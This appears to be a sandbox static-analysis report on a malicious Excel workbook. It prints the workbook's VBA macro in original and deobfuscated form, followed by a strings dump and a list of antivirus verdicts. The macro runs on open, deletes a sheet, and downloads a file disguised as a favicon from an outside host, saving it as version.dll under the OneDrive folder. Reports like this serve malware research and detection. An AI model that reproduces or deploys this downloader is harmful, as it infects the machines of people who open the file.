Static | ZeroBOX

Original


                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Original


                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Original


                                        Attribute VB_Name = "Module1"
Private Declare PtrSafe Function noturld Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCb As Long) As Long

Private Sub Unhide_All_Sheets()
  Dim wks As Worksheet
  For Each wks In ActiveWorkbook.Worksheets
      wks.Visible = xlSheetVisible
  Next wks
End Sub
Private Sub box()
   Application.DisplayAlerts = False
   Sheets("Sheet2").Delete
   Application.DisplayAlerts = True

End Sub

Private Sub somethingsomething()
    Unhide_All_Sheets
    box
    Filename$ = "ver" + "s" + "ion.d" + "ll"
    URL$ = "https://ntc-govpk.servehttp.com/favicon.ico"
    localname$ = Environ("localappdata") + "\Microsoft\OneDrive\" + Filename
    noturld 0, URL, localname, 0, 0
    
End Sub

Sub AutoOpen()
    somethingsomething
End Sub

Sub Documnet_Open()
    somethingsomething
End Sub

Sub Auto_Open()
    somethingsomething
End Sub

                                    

Deobfuscated


                                        Attribute VB_Name = "Module1"
Private Declare PtrSafe Function noturld Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCb As Long) As Long

Private Sub Unhide_All_Sheets()
  Dim wks As Worksheet
  For Each wks In ActiveWorkbook.Worksheets
      wks.Visible = xlSheetVisible
  Next wks
End Sub
Private Sub box()
   Application.DisplayAlerts = False
   Sheets("Sheet2").Delete
   Application.DisplayAlerts = True

End Sub

Private Sub somethingsomething()
    Unhide_All_Sheets
    box
    Filename$ = "ver" + "s" + "ion.d" + "ll"
    URL$ = "https://ntc-govpk.servehttp.com/favicon.ico"
    localname$ = Environ("localappdata") + "\Microsoft\OneDrive\" + Filename
    noturld 0, URL, localname, 0, 0
    
End Sub

Sub AutoOpen()
    somethingsomething
End Sub

Sub Documnet_Open()
    somethingsomething
End Sub

Sub Auto_Open()
    somethingsomething
End Sub

                                    

Original


                                        Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    
Windows User B
ThisWorkbook
"$"#,##0_);\("$"#,##0\)
"$"#,##0_);[Red]\("$"#,##0\)
"$"#,##0.00_);\("$"#,##0.00\)
"$"#,##0.00_);[Red]\("$"#,##0.00\)
_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_)
_(* #,##0_);_(* \(#,##0\);_(* "-"_);_(@_)
_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)
_(* #,##0.00_);_(* \(#,##0.00\);_(* "-"??_);_(@_)
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_)
00\);_(*
;_(@_)
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
00\);_(*
;_(@_)
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
00\);_(*
;_(@_)
00\);_(*
;_(@_)
00\);_(*
00\);_(*
00\);_(*
;_(@_)
}
00\);_(*
00\);_(*
00\);_(*}
00\);_(*}
00\);_(*}
00\);_(*
00\);_(*
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Comma 3
Comma 3 2
Explanatory Text
Heading 1
Heading 2
Heading 3
Heading 4
Linked Cell
Neutral
Normal 12
Normal 4
Normal 4 2
Output
Warning Text
Staff Details
Sheet2
junaid.sarwar
Desktop
sales_and_distribution07-08-2017.xlsx
Sheet2
Sheet1Y
junaid.sarwar
AppData
Microsoft
Windows
INetCache
Content.Outlook
743E87CU
RO Productivity Report.xlsx
Global_Productivity
New_2017_Branches
New_2018_Branches
Old_2017_Branches
PTCL_2018
Summary
Network
Setting
Data_DB
HR_DBY
Month<
Today<
IDATx^
Jo3t[,iv
X?d5oR
9?x5os
-2/*<ff
e=6\lZ
r8TEM4j
n;w}S!
?e?Z4
V)hrdQ
?QIaba
KK<iwR8t
cWm\{@
UK?]<g
3kuiY1
#Wn\3c
u'|9-l;y
2Y)C>xe
cWo\_:+
X11yL
lfJr&?
ekWN_8g
anapxY
1adr>%
wwwwwww
i<F#7I
XEzW1f
o'G]IM(
hHz^VJn
]rtKrv
u.(| %]
^IM8{+^J
,cn8*$-
jRYve`j
~RAXEz
v[16#/
[FxZh=v^:
MBFr|Z
)q72n
k(][Ez'f
KVFzi=9
wk9%*@ve"RY
ZEz[je
3^#SwD
l)nY&%s
017qP/
iPTTTA
p7Sb~'7
Sr2Rs3
_x?`DP
xQYXj=
_9Z=Tn
O3oPVA
3u$]HM
]{Uoe)
5j2F3m
fa.}WO
j6&B._
<\=c~5-i
6SbN&\
ErzVA
eIexr!
PN,nJ:5]
n0*XN|
!='TlT3
mm+[W.]
|6i*c^N
<|Wk[[
.#P>A<t
m>vzmy
OKKKni
Y\]_Gg{
D;|i7rB
7]>H=?/z
R~hop7
.+z]^d
L`767>
[[[}v'vs
=-xIO!
am`AEIKk
IU}mSssaE
pYMeskK
9Sb..3/
sk\IUe}cC[
}\)*cY
LMF<MZ;J
OYM%gmH
{gb]c}
4G=xN_
e]0{](
BCIZ:U
YunW~yqMC
6wcX^Y!
[ZZZ[V
U&}^ungO
]^SYU[
+:k?JEdz$
HmC]ni~
MNWQxt
557]|rg
ku}mQU
M~EqNI~cs
+/lmm}
xqUYz^
%iQue^
C}II:kC
*jVYWM
,mji>v
b3WQ'4
6]B1Hq
yAnymUcKs[
lljjmmm
y+=g,u
zC|'/>
?l#~K:
MasWz>
[{l=gc
Kit^4
owRaei^Y
\VSIS>
RhWSb%
iWPZ\6
657GY
C9iim=q
z Y#xn
hK?-xIS{
wc8oSxQe)gcX7
bf/E|1
[ZZ[O?
Na|i7B-h
h J#-.
~i7\/|
tGX&ph
4iWty[eN
9+=$+;&p
J7 uEcQ`C|'Iq
oIg?=4
'WWYht
X]_{53U-h
W3SS_f
*sU73y
II4;+y
}G\AE1
M]zjkMC]
XCsScs
/KJ>MSEd
m[LkkkMC
hni^vz
ojn^qvG7
O-h6%JR
{A8Qu3S
gcXcScCS
Vwsj&~
yxusK3
VR]QXY
w\?N_[
WU]5][^[
A37_9T
IDAT1l
y}P}SC
rtd8:?8
^saO^Y
l3UWSE
xzt\YhD_{
tU\MT]
4.u.iF
GR/NHp
6_7l~ws
yM3/]>
[V://Q
4R:z~Q
_[d&!sM
.jyKLcL
>[2-&s
s+~<oB
5ih<::
Rg5.wa
J~0{L\|
g5.{VN
irC4{~n
z60}D
G?+=_7
3Sq8+|d
+_?8n
SSqK<.>
Title/Designation
Location
Head Office
Lahore
Branch Manager
Customer Services Officer
Gulshan Iqbal Khi
Lodhran
Sahiwal
Relationship Officer
Rawalpindi
Verification Officer
Rahim Yar Khan
Abbottabad
Teller/Cashier
Dunya Pur
IT Operations Officer
Team Lead Branch Operations
Manager Finance
Junior Compliance Officer
Jehlum
Operation Officer!
Junior Officer Branchless Banking
Senior Officer Finance
Assistant Manager Finance(
Manager Human Resources & Administration
Assistant Manager Bill Payment
Nazimabad Khi
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
g?gs+W
P-$Y#<
+EE\}~)W
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
ffffff
ffffff
Q333333
?333333
Sheet1g
ffffff
ffffff
333333
?333333
Sheet2g
VBAProje
stdole>
*\G{00
020430-
6}#2.0#0
#C:\Wind
ows\Syst em32\
tlb#OLE
Automati
EOffDic
2DF8D04C
-5BFA-10
1B-BDE5
gram Fil
es\Commo
Micros
oft Shar
ed\OFFIC
E16\MSO.0DLL#
M 1@6.0 Ob
Library
orkbookG
B|ShePet1G
S@#eA@Xt
M92I92M92
Attribut
e VB_Nam
e = "She@et1"
t0{000
20820-
|Global!
Pre decla
lateDeri
Bustom
Attribut
e VB_Nam
e = "She@et2"
t0{000
20820-
|Global!
Pre decla
lateDeri
Bustom
URLDownloadToFileA
Sheet2$
https://ntc-govpk.servehttp.com/favicon.ico
localappdata$
\Microsoft\OneDrive\
Attribut
e VB_Nam
e = "Mod
lare Ptr
Safe Fun
ction no
turld Li
Alias "
URLDownl
oadToFil
eA" (ByV
al pCall
er As Lo
dwReserv
LlpfnCJb
ub Unhid
e_All_Sh
eets()
Dim wk
For EacBh
H Appl
.Dis playA
2").De
!somet
ver" + "&sB
s://ntc-
govpk.
.com/fav`icon.
Env@iron("B
ppdata")
\Micros
oft\OneDy
Documnet
VBAProject
ThisWorkbook
Sheet1
Module1
Sheet2
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
urlmon
C:\Program Files\Microsoft Office\Office16\EXCEL.EXE
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
noturld
URLDownloadToFileA
Unhide_All_Sheets
somethingsomething
AutoOpen
Documnet_Open
Auto_Open
VBE7.DLL
pCaller
szFileName
dwReserved
lpfnCbR
Attribut
e VB_Nam
e = "Thi
sWorkboo
0{00020P819-
$0046}
|Global
dCreat
ateDeriv
Bustomi
Win64x
VBAProject
stdole
Office
ThisWorkbook|
_Evaluate
Sheet1
Module1b
noturld
pCallerx
szFileNameZ
dwReserved
lpfnCb
urlmonX
Unhide_All_Sheets3&
Worksheet
ActiveWorkbook
Worksheets
Visible
xlSheetVisible
Application
DisplayAlerts
Sheets
Delete
somethingsomething
Filenamej
localname
Environ
AutoOpen
Documnet_Open
Auto_OpenV
Sheet2
Workbookk
_B_str_Filename
_B_str_URL
_B_var_Environ
_B_str_localname`
_Defaultj
ID="{E82B2183-2A23-43F5-8930-C2DB9391B7E6}"
Document=ThisWorkbook/&H00000000
Document=Sheet1/&H00000000
Module=Module1
Document=Sheet2/&H00000000
Name="VBAProject"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="F1F34FB553B553B553B553"
DPB="B5B70BB10B740C740C74"
GC="797BC738C838C8C7"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisWorkbook=104, 104, 1222, 635,
Sheet1=52, 52, 1170, 583,
Module1=26, 26, 1144, 557, Z
Sheet2=0, 0, 0, 0, C
ThisWorkbook
Sheet1
Module1
Sheet2
Saira Kanwal/Human Resource
Windows User
Microsoft Excel
Staff Details
Sheet2
Worksheets
Microsoft Excel 2003 Worksheet
Excel.Sheet.8
Root Entry
Workbook
_VBA_PROJECT_CUR
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Arial1
Arial1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1*
Calibri Light1
Calibri1
Calibri1
Calibri1
Calibri1
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Comma [0]
Currency
Currency [0]
Explanatory Text
Heading 1
Heading 2
Heading 3
Heading 4
Linked Cell
Neutral
Normal
Normal 4
Output
Percent
Warning Text
TableStyleMedium2PivotStyleLight16
***************4********
warning
Sheet1
Sheet2
Module1
N0{00020820-0000-0000-C000-000000000046}
N0{00020820-0000-0000-C000-000000000046}
$*\Rffff*05668fc289
*\R1*#3e3
*\R0*#17
*\R1*#3e4
*\R1*#132
*\R1*#13b
*\R1*#12e
*\R1*#92
*\R1*#121
*\R1*#126
__SRP_0
__SRP_1
__SRP_2
__SRP_3
https://ntc-govpk.servehttp.com/favicon.ico
localappdata
\Microsoft\OneDrive\
Sheet2
DeleteH
N0{00020ThisWorkbook
_VBA_PROJECT
PROJECT
PROJECTwm
819-0000-0000-C000-000000000046}
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\Program Files\Microsoft Office\Office16\EXCEL.EXE#Microsoft Excel 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
ThisWorkbook
01668fc289
ThisWorkbook
Sheet1
02668fc289
Sheet1
Module1
05668fc289
Module1
Sheet2
04668fc289
Sheet2
kThisWorkbook
1Sheet1
1Module1
2Sheet2
SummaryInformation
DocumentSummaryInformation
CompObj
Antivirus Signature
Bkav Clean
Lionic Trojan.MSExcel.SLoad.4!c
Elastic malicious (high confidence)
Cynet Clean
CMC Clean
CAT-QuickHeal Clean
ALYac GT:VB.Dridex.7.96232A5C
Malwarebytes Clean
VIPRE GT:VB.Dridex.7.96232A5C
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren ABRisk.SCAX-7
Symantec Trojan.Gen.NPE.C
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
ClamAV Doc.Exploit.Generic-6923078-0
Kaspersky UDS:Trojan-Downloader.MSOffice.SLoad.gen
BitDefender GT:VB.Dridex.7.96232A5C
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
SUPERAntiSpyware Clean
MicroWorld-eScan GT:VB.Dridex.7.96232A5C
Rising Clean
Sophos Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition Artemis!Trojan
FireEye GT:VB.Dridex.7.96232A5C
Emsisoft GT:VB.Dridex.7.96232A5C (B)
SentinelOne Static AI - Suspicious OLE
Jiangmin MSWord/Downloader.s
Avira Clean
MAX malware (ai score=81)
Antiy-AVL Clean
Microsoft Trojan:O97M/Sadoca.C!ml
Gridinsoft Clean
Xcitium Clean
Arcabit HEUR.VBA.Trojan.d
ViRobot Clean
ZoneAlarm UDS:Trojan-Downloader.MSOffice.SLoad.gen
GData GT:VB.Dridex.7.96232A5C
Google Detected
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Suspicious/X97M.DNL.Gen
VBA32 Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG Script:SNH-gen [Trj]
Panda Clean
No IRMA results available.